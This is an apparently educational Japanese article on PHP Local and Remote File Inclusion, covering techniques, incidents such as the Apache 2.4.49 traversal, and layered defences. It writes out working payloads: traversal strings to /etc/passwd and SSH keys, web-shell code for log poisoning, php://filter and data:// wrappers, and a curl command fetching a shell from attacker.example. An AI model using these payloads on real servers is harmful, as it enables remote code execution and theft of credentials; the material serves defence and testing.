File Inclusion 脆弱性 は、Web アプリが「ファイル名や URL を受け取り、それを include / require 系の関数で サーバ側プロセスに読み込ませる」処理に対して、攻撃者が任意のパスや URL を差し込める状態を指す。読み込み元がサーバのローカルなら LFI (Local File Inclusion)、外部 URL なら RFI (Remote File Inclusion)。LFI でも /etc/passwd の読み出しに留まらず、ログポイズニング・/proc/self/environ・PHP wrapper を経由して RCE まで届く。RFI なら攻撃者は自分の HTTP サーバに置いた PHP を直接走らせるので、ほぼ一発で RCE。本稿では LFI/RFI の本質、Path Traversal との関係、攻撃技法、著名事件、Allowlist と allow_url_include 無効化を中心とする多層防御を扱う。
LFI / RFI とは何か — 「読み込み」が「実行」に化ける脆弱性 #
PHP の include / require は、指定されたパスのファイルを 読み込んでその場で PHP として実行する 関数。HTML テンプレートのインクルードや、URL パラメータでページを切り替える古典的なルーティング (?page=about) で多用されてきた。
ここで include($_GET['page'].'.php') のように ユーザ入力をパスに直結する 実装をすると、攻撃者が page=../../../../etc/passwd%00 や page=http://evil.example/shell を渡せる。include は対象が PHP コードなら その場で実行 してしまうため、ファイルを「読む」操作が一瞬で「任意コードを動かす」操作に化ける。これが File Inclusion 脆弱性の本質。
LFI だけでも、機密ファイル (/etc/passwd, .env, ソースコード, 設定ファイル) の読み出し、ログを汚染して PHP として実行 (log poisoning)、PHP wrapper (php://filter, data://) 経由の RCE が現実的な脅威になる。RFI なら攻撃者の HTTP サーバに置いた shell.txt を直接 include させられるので、事実上ワンステップで RCE。SSRF が「サーバの信頼境界を踏み台にする」攻撃なら、File Inclusion は 「サーバの解釈エンジンを乗っ取る」攻撃。
LFI と RFI の違い #
| 項目 | LFI | RFI |
|---|---|---|
| 読み込む対象 | サーバ ローカル のファイル | リモート URL (http://, ftp:// 等) |
| 必要な前提 | パス操作が許される | 外部 URL の include が許可されている (allow_url_include=On) |
| 直接 RCE 可能性 | 段階を踏めば可能 (log poisoning / wrapper 等) | ほぼ一発 |
| 出現頻度 (現代) | 多い (CTF・レガシー保守で頻発) | 少ない (PHP 5.2 以降デフォルト Off) |
PHP は PHP 5.2 (2006) で allow_url_include のデフォルトを Off に変更 したため、RFI は「設定ミスがある環境」でしか発生しなくなった。一方 LFI は設定で潰せない種類の脆弱性 (コードの問題そのもの) なので、今でも普通に発見される。
Path Traversal との関係 #
Path Traversal (ディレクトリトラバーサル) は ../ でファイルパスを上位ディレクトリに脱出する 技法 の名前。LFI を成立させるためにほぼ必ず使うので、攻撃面としては LFI ⊃ Path Traversal という関係に近い。ただし Path Traversal は 読み出すだけ (例: readfile, fopen) の場合もあり、include を経由しない場合は「ファイルが読まれる」止まりで RCE には届かない。「読む」と「include で実行する」の差が大きい。
なぜ PHP で多発したのか — 歴史と構造的背景 #
File Inclusion は PHP の言語仕様と密結合 した脆弱性。同じ穴は Java の RequestDispatcher.include、JSP の <jsp:include>、Ruby の load/require、Python の __import__ でも理論上は起きるが、現実の被害件数は PHP が桁違いに多い。理由は次の 3 点。
include が「読む」のではなく「実行する」 #
多くの言語の「ファイル読み込み」は文字列を返すだけだが、PHP の include / require / include_once / require_once は 読み込んだ内容を即座に PHP として評価 する。さらに <?php タグが入っていない部分は素の HTML/テキストとしてそのまま出力される。つまり「ファイルパスを攻撃者が操れる」=「コード実行を攻撃者が操れる」が言語標準で直結している。
2000 年代前半の典型コードが脆弱 #
CMS・掲示板スクリプト・自作 PHP サイトでは「?page=hoge で hoge.php を読む」ルーティングが流行した。
<?php
// index.php
$page = $_GET['page'];
include($page . '.php'); // ★ LFI/RFI 両方に脆弱
# 攻撃 (LFI: /etc/passwd 読み出し、PHP 5.3 以前なら NULL byte で .php を切る)
http://victim/index.php?page=../../../../etc/passwd%00
# 攻撃 (RFI: 攻撃者の PHP を実行)
http://victim/index.php?page=http://evil.example/shell
この種のコードを大量に量産したのが phpBB/PHP-Nuke 系の古い CMS とそのプラグイン群で、当時 milw0rm (現在の exploit-db の前身) には毎日のように RFI exploit がアップされた。
allow_url_include がデフォルト ON だった時代 #
PHP 5.2 以前は allow_url_include=On が標準で、include('http://...') がそのまま動いた。PHP 5.2 (2006 年) でこのデフォルトを Off に変えた後も、Off に切り替わるまで動いていた CMS/設定が残っていたため、RFI は 2010 年前後まで一般的な攻撃ベクトルだった。今でも allow_url_include=On を有効にしている環境は (たいてい意図せず) ある。
現代でも消えない理由 #
- CTF と HackTheBox / TryHackMe: LFI/RFI は web 系問題の頻出ジャンルで、現役の攻撃技法として学習され続けている (EvilBox-One が代表)
- レガシー PHP の保守: 古い WordPress プラグイン・テーマや独自 CMS には今でも残骸が残る
- Java/Ruby/Python の類似機能: PHP ほど致命的ではないが、
RequestDispatcher.includeで内部リソース読み出し、os.path.joinの Path Traversal で.env漏洩、Ruby のrender file:で同様の問題が出る
LFI の主要攻撃技法 #
LFI が成立した状態でできることは 「ローカルファイルが読める」だけ だが、実戦ではここから多段で RCE まで持っていく。代表的な技法を順に整理する。
Path Traversal で機密ファイル奪取 #
最も基本。../ を必要な回数積み、絶対パス相当に到達する。
/etc/passwd # ユーザ一覧 (LFI 動作確認の定番)
/etc/shadow # root 権限で動いていれば読める
/etc/hosts # 内部ホスト名
/proc/self/environ # プロセス環境変数 (後述: 古典 RCE 経路)
/proc/self/cmdline # 起動コマンドライン
/var/log/apache2/access.log # Apache アクセスログ (log poisoning に使用)
/var/log/nginx/access.log # Nginx 版
/var/log/auth.log # SSH ログイン試行ログ
~/.ssh/id_rsa # SSH 秘密鍵
~/.bash_history # 過去コマンド
/var/www/html/.env # Laravel/Symfony の機密 (DB パスワード等)
/var/www/html/config.php # 自作 PHP の DB 接続情報サーバが Apache + PHP-FPM 構成かつ Web ルートが /var/www/html/ なら ../../../../etc/passwd で当たる。これが読めたら「LFI 成立」確定。
NULL byte (%00) による拡張子バイパス #
include($page.'.php') のようにサーバ側で 強制的に拡張子を付けるコード は、PHP 5.3.4 以前なら NULL byte で切れた。
?page=../../../../etc/passwd%00
%00 以降を文字列終端として扱う C 言語的な挙動を悪用した古典技法。PHP 5.3.4 (2010 年) で塞がれた ので現代の PHP では効かないが、レガシーな 5.2 系を保守している現場や CTF では今でも出題される。
Filter chain (path 正規化バイパス) #
「../ を弾く」検証を入れた現場でも、以下のような表記で回避されることがある。
....//....//etc/passwd (../ を 1 回弾くだけだと残った "../" で通る)
..%2f..%2f..%2fetc%2fpasswd (URL エンコード)
..%252f..%252fetc%252fpasswd (二重エンコード — ミドルウェア / アプリで二重デコードされる差を突く)
..%c0%afetc/passwd (UTF-8 overlong エンコード, 古い Windows IIS)
Log Poisoning — LFI から RCE への古典ルート #
LFI で 自分が書ける場所のテキストファイル が見つかれば、そこに PHP コードを書き込み、include で実行させて RCE になる。最頻出のターゲットは Web サーバのアクセスログ。
<?php system($_GET['c']); ?> を入れて HTTP リクエスト。Apache/Nginx は UA をそのまま access.log に追記する。?page=../../../../var/log/apache2/access.log で読み込ませる。<?php ... ?> ブロックが評価される。&c=id を付けて任意コマンド実行。ログファイルが Web プロセスから読める権限になっているのが前提だが、典型的な権限構成だと読める ケースが多い。SSH ログ (/var/log/auth.log) を狙うバリエーションもあり、ssh '<?php system($_GET["c"]); ?>'@victim で失敗ログに PHP を仕込む。
/proc/self/environ 経由 #
Linux の /proc/self/environ は 自プロセスの環境変数を文字列で返す 仮想ファイル。HTTP リクエストの User-Agent などは多くの SAPI 構成 (古い CGI/mod_php) で環境変数化されるため、UA に PHP コードを入れて /proc/self/environ を LFI で読むだけで実行される、というルート。
GET /index.php?page=../../../../proc/self/environ HTTP/1.1
User-Agent: <?php system($_GET['c']); ?>
PHP-FPM / 現代の構成では UA が直接 environ に出ない場合も多く、効きにくくなっている。CTF 問題で今も見かける典型。
Session ファイル経由 #
PHP のセッションは /var/lib/php/sessions/sess_<SESSIONID> のようなファイルに保存される。ユーザ入力 (例: ユーザ名フィールド) がセッション変数に入る作りなら、そこに PHP コードを書き込んでセッションファイルを LFI で include させる。
PHP wrapper — LFI を一段強くする仕組み #
PHP には stream wrapper という仕組みがあり、file://, http://, php://, data://, expect:// などのスキームで透過的にファイル/ストリームを開ける。include はこれらの wrapper も解釈してしまうため、LFI から多彩な攻撃に発展できる。
php://filter — ソースコードを Base64 で抜き出す #
php://filter は PHP コードを 実行せず Base64 等にエンコードして読み出せる wrapper。LFI で PHP ソースを盗み読むのに使われる定番。
curl "http://victim/index.php?page=php://filter/convert.base64-encode/resource=config"
# レスポンスに base64 化された config.php が含まれる
# → デコードすれば DB 接続情報・API キー等が丸見え
# filter は組み合わせ可能 (ROT13, zlib 圧縮等)
curl "http://victim/?page=php://filter/read=convert.base64-encode|zlib.deflate/resource=index"
通常の LFI で index.php を読もうとすると PHP として実行されてしまうので中身は見えない。filter を噛ませることで生のソースを取り出せる のが核心。
data:// — URL の中にコードを直接書く #
data://text/plain;base64,... で URL 文字列の中に Base64 化した PHP を埋め込み、それを include させる。RFI と違って外部 HTTP リクエストが不要で、allow_url_include=On だけで成立。
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==
(デコード: <?php system($_GET['c']); ?>)
&c=id
expect:// — 直接コマンド実行 #
PHP の expect 拡張がインストールされている環境では expect://id のように書くだけでコマンドが走る。標準では入っていないので出会う頻度は低いが、入っていれば LFI が即 RCE。
phar:// — デシリアライズ経由 RCE #
PHP 7.x までの phar:// wrapper は Phar アーカイブの metadata を自動デシリアライズ する仕様。LFI で攻撃者がアップロード済みの .phar (実態は画像でも OK、マジックバイトを偽装) を phar://uploads/avatar.jpg/x のように指定すると、metadata がデシリアライズされ、__wakeup() や __destruct() を持つクラスが既存ならガジェットチェーン経由で RCE に届く (Object Injection)。PHP 8.0 で挙動が変わり緩和されたが、レガシー環境では今も生きる攻撃。
zip:// と compress.zlib:// #
zip:// は zip アーカイブの内部ファイルを直接 include できる。攻撃者が画像アップロード機能で zip を仕込み、?page=zip://uploads/img.jpg%23shell で内部の shell.php を実行させる手法。
RFI の典型と現代の出現条件 #
RFI は前提条件 (allow_url_include=On または相当の設定) がそろえば最もシンプルな攻撃。
最小ペイロード #
# 攻撃者の HTTP サーバに以下を置いておく (拡張子は .txt にする — .php だと攻撃者サーバ側で実行されてしまう)
# http://attacker.example/shell.txt
<?php system($_GET['c']); ?>
# 攻撃 URL
curl "http://victim/index.php?page=http://attacker.example/shell.txt&c=id"
# victim 側で が走る
なぜ拡張子は .txt にするか #
攻撃者サーバが PHP を実行する設定だと、自分のサーバで shell.txt が PHP として解釈されてしまい、被害者には 実行結果 (空文字列) だけが渡る。生の PHP コードを被害者に届けるため、攻撃者サーバ側では PHP として実行されない拡張子にする。
現代の RFI 出現条件 #
allow_url_include=On(PHP 5.2 以降のデフォルトは Off)- アプリが
include/requireに外部 URL を許可 - もしくは
data://wrapper (allow_url_include=Onのみで成立) - 一部フレームワーク・テンプレートエンジンが内部で同等の動作をする
data:// 経由は HTTP 接続不要なので egress フィルタを掛けていても RFI が成立する点に注意。
Java / Ruby / Python での類似 #
| 言語 / FW | 該当機能 | リスク |
|---|---|---|
| Java (JSP) | <jsp:include page="..."> でユーザ入力直結 |
通常はサーブレットコンテナ内資源のみだが、設定次第で外部 URL を取りに行く |
| Ruby (Rails) | render file: params[:p] / send_file params[:p] |
古典的な Local File Disclosure。Rails 5 以降 render file: は外部パス禁止が標準 |
| Python (Flask) | render_template(user_input) でテンプレ名を直結 |
Server-Side Template Injection (SSTI) に発展しやすい |
| Node.js (Express) | res.render(req.query.view) |
同上 (テンプレ名直結) |
PHP ほど 言語仕様で「読む=実行」が直結 していないため、生 RCE には届きにくいが、機密ファイル漏洩・SSTI 経由 RCE に発展する。
著名な File Inclusion 事件 #
2000 年代前半の PHP CMS 大流行期 #
phpBB, PHP-Nuke, PostNuke, Mambo, Joomla 初期、osCommerce などの古い OSS CMS にはコアまたはプラグインで RFI が多数。当時の milw0rm / exploit-db には毎週新しい RFI exploit がアップロードされ、自動巡回スキャナで大規模に踏まれた。当時の Web 改ざん事件・ボットネット (Mafiaboy 系) の足回りとして使われた。
EvilBox-One (CTF, 2021) #
VulnHub / HackTheBox 系で有名な LFI 入門マシン。アバター表示機能の URL パラメータが LFI 脆弱で、/etc/passwd 取得 → id_rsa 取得 → SSH ログイン → 権限昇格と、LFI 単独からどこまで行けるか を学ぶ教科書的構成。当サイトでも writeup を扱っており、LFI の典型的悪用フローを実感するには最良の題材。
CVE-2018-1000861 (Jenkins, Stapler) #
Jenkins の Stapler Web フレームワークに「動的ルーティング経由でクラス内任意メソッドを呼び出せる」脆弱性があり、LFI/SSRF/RCE の多段チェーンに発展。File Inclusion 単独ではないが、「ファイル名/パスがリフレクションのエントリポイントになる」 タイプの拡張系として参考になる。
CVE-2021-41773 / CVE-2021-42013 (Apache 2.4.49 / 2.4.50) #
厳密には mod_alias の Path Traversal だが、mod_cgi が有効だと /etc/passwd 読み出しから RCE まで 直結する致命的な実装ミス。LFI/Path Traversal が include 経由でなくても「実行可能なパス」に到達したら RCE になる、というパターンを示した代表事例。世界中の Apache サーバで一斉に大規模スキャンが走った。
WordPress プラグインの繰り返し事例 #
WordPress の数万あるプラグインには、AJAX エンドポイント・ファイル管理系・テーマカスタマイザ等でファイル名を直接受け取る粗悪な実装が定期的に発見されている。例: wp-file-manager (CVE-2020-25213) は厳密には任意ファイルアップロードだが、近隣に LFI 系の CVE が多数。「LFI/RFI は古典なので絶滅した」は誤解で、エコシステム末端では 今も日常的に発見される。
教訓 #
- PHP の
includeにユーザ入力を渡さない だけで歴史上の被害の 9 割は防げた - ホワイトリスト (許可するページ名の固定リスト) を入れるだけで攻撃面が消える
- LFI は単独でも危険だが、ログ・セッション・PHP wrapper との合わせ技 で RCE 級になる
- Path Traversal は OS ライブラリレベルでも頻発する (Apache の例)。アプリだけでなく ミドルウェアの安全な版 を維持する重要性
防御策 — 多層防御 #
XSS や SSRF と同じく、File Inclusion も単一の対策だけでは破られる。Allowlist・allow_url_include 無効化・正規化検証・最小権限・WAF を組み合わせる。
ファイル名 Allowlist — 最優先 #
「ユーザ入力をパスに直結しない」が唯一の根本対策。許可するページ名を 固定リスト にし、それ以外は問答無用で拒否する。
<?php
$allowed = ['home', 'about', 'contact', 'pricing'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed, true)) {
http_response_code(404);
exit;
}
// ★ ユーザ入力をパスに直接結合しない。in_array を通過した既知の値のみ使う
include DIR . '/pages/' . $page . '.php';
ポイント:
- 許可する値を コード内で明示列挙 する (DB に持つ場合も同じ)
in_array($page, $allowed, true)の 第 3 引数 true (strict 比較) を必ず付ける — false だと0 == 'evil'で通る型ジャグリング攻撃が刺さる- 比較に通った後で初めてパスに使う
allow_url_include / allow_url_fopen を Off #
php.ini で:
allow_url_include = Off
allow_url_fopen = Off ; 必要なら個別に curl/Guzzle を使う
allow_url_include=Off だけで RFI と data:// 経由攻撃が事実上潰れる。allow_url_fopen は file_get_contents('http://...') 等にも影響するので、アプリで外部 URL fetch が必要なら curl/Guzzle に切り替えてから無効化する。
Path Traversal 対策 — realpath + 接頭辞検証 #
どうしてもユーザ入力を一部使うなら、realpath で シンボリックリンクと ../ をすべて解決した絶対パス を取り、それが許可ディレクトリの 接頭辞 であることを確認する。
<?php
$baseDir = realpath(__DIR__ . '/pages');
$target = realpath($baseDir . '/' . $_GET['page'] . '.php');
if ($target === false || strpos($target, $baseDir . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(404);
exit;
}
include $target;
realpath は ../ を解決し、結果が存在しないと false を返す。続けて 「正規化済みパスが許可ディレクトリで始まるか」 を strpos で確認することで脱出を防ぐ。
open_basedir で物理的にサンドボックス #
PHP の open_basedir を php.ini または vhost で設定すると、PHP プロセスがアクセスできるディレクトリを物理的に制限 できる。
open_basedir = /var/www/html:/tmp
これだけで /etc/passwd や /proc/self/environ への到達が PHP レベルで弾かれる。ただし完全な隔離ではないので Allowlist の代替にはならない。あくまで多層防御の 1 段。
拡張子の追加・固定とディレクトリ固定 #
「拡張子を .php 固定で末尾連結」と「ディレクトリを固定」を組み合わせる。NULL byte バイパスは PHP 5.3.4 以降で塞がれているが、根本的に 拡張子をユーザ入力で操作できない構造 にしておくのが安全。
ログを Web プロセスから読めないようにする #
Log Poisoning 対策として、access.log / auth.log のパーミッションを Web サーバユーザ (www-data / nginx / apache) から 読めない に設定する。標準 Debian/Ubuntu 構成では root:adm 0640 のことが多く、www-data には読めない設定が多いが、誤って o+r を付けると刺さる。
WAF と入力検証 #
WAF (ModSecurity, AWS WAF, Cloudflare) で ../ / php://filter / data:// 等のリテラルを含むリクエストをブロックする。根本対策ではない (URL エンコードや二重エンコードで回避され得る) が、allowlist を実装し切れていない移行期や、未知のプラグイン脆弱性への減速帯として有効。
最小権限 — 被害を抑える最後の砦 #
Web プロセスが root で動かない、必要最小のディレクトリだけ読み書き可能、SSH 秘密鍵を持つユーザと Web ユーザを分離 — これらを徹底するだけで LFI 成立時の被害が桁違いに小さくなる。
テストと検出 #
手動テストの定石 #
ファイル名・テンプレート名・ページ名・テーマ名・ロケール名を受け取る箇所を片っ端から試す。
# 1. まずは /etc/passwd で動作確認
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=..%252f..%252fetc%252fpasswd
# 2. PHP wrapper でソースを抜く
?page=php://filter/convert.base64-encode/resource=index
?page=php://filter/convert.base64-encode/resource=config
# 3. data:// で直接 PHP 実行 (allow_url_include=On が前提)
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
# 4. RFI
?page=http://attacker.example/shell.txt
# 5. 古いシステムでは NULL byte
?page=../../../../etc/passwd%00
# 6. log poisoning (UA に PHP, その後 LFI で log を include)
User-Agent: <?php system($_GET['c']); ?>
?page=../../../../var/log/apache2/access.log&c=id
自動化ツール #
- LFISuite / fimap — LFI の検出と自動エクスプロイト (log poisoning / PHP wrapper / RFI を網羅)
- Burp Suite Intruder — エンコードバリエーションを並列で投げる
- ffuf / wfuzz —
FUZZプレースホルダで大量のペイロード総当たり - Nuclei — テンプレートベースの脆弱性検出。LFI 系テンプレートが大量にある
静的解析 #
ソースで「ユーザ入力 → include / require / readfile / file_get_contents のデータフロー」を追う。Semgrep / SonarQube / PHPStan-Security に該当ルールがある。grep 一発でも:
grep -rn 'include\s*(\s*\$_' --include='*.php'
grep -rn 'require\s*(\s*\$_' --include='*.php'
これだけで脆弱コードの大半が引っかかる。コードレビューでは include / require の引数に $_GET / $_POST / $_REQUEST / $_COOKIE / $_SERVER が到達していないか を真っ先に確認する。
本番モニタリング #
- WAF / アクセスログで
../php://data://%00のリテラル/エンコードを検出してアラート /etc/passwd等の機密パス文字列が URL に出現したらブロック + 通報- 異常な数の
404/403がファイル名パラメータに対して連続したら自動スキャンの兆候
関連する攻撃 #
| 攻撃 | 関係 |
|---|---|
| Path Traversal | LFI のサブセット的技法。読むだけで RCE には届かないケースを指すことが多い |
| 任意ファイルアップロード | アップロード先のパスが推測可能なら、LFI と組み合わせて RCE 化 (画像に PHP を仕込む手口) |
| SSRF | RFI と似て「サーバが任意 URL を取りに行く」だが、SSRF は HTTP クライアント全般の問題。RFI は include 経由で実行される点が違う |
| SSTI (Server-Side Template Injection) | テンプレ名やテンプレ内容にユーザ入力が入り、テンプレエンジンの構文として評価される。File Inclusion と発生源は近い |
| PHP Object Injection | unserialize にユーザ入力が渡り、__wakeup/__destruct 経由 RCE。phar:// wrapper で LFI から接続できる |
| Log Injection | LFI と組み合わせて log poisoning に発展。CRLF をログに注入するタイプの脆弱性 |
まとめ — 開発者が最低限押さえる 6 項目 #
File Inclusion は 古典中の古典 だが、PHP エコシステムの末端と CTF・教育の現場では今も現役の脅威。include を始めとする「読む=実行する」言語仕様は便利な反面、ユーザ入力をパスに直結した瞬間に RCE 級 に化けるという特性を持つ。
- ユーザ入力を
include/requireに直接渡さない。許可するページ名は コード内で明示列挙 しin_array($v, $allowed, true)で照合 allow_url_include = Off/allow_url_fopen = Offをphp.iniで設定 (RFI とdata://を一掃)- どうしてもパス操作が必要なら
realpathで正規化 → 許可ディレクトリの接頭辞検証 open_basedirで物理サンドボックス、Web プロセスを最小権限で動かす- ログファイルを Web プロセスから読めないパーミッションにする (log poisoning 対策)
- WAF で
..//php://filter/data:///%00を検出 — あくまで多層防御の 1 段、根本は Allowlist
「ファイル名くらい外から受け取って大丈夫」という直感が最も危険。PHP において パスは即コード であり、外から触れる文字列ではないと設計段階で線引きする必要がある。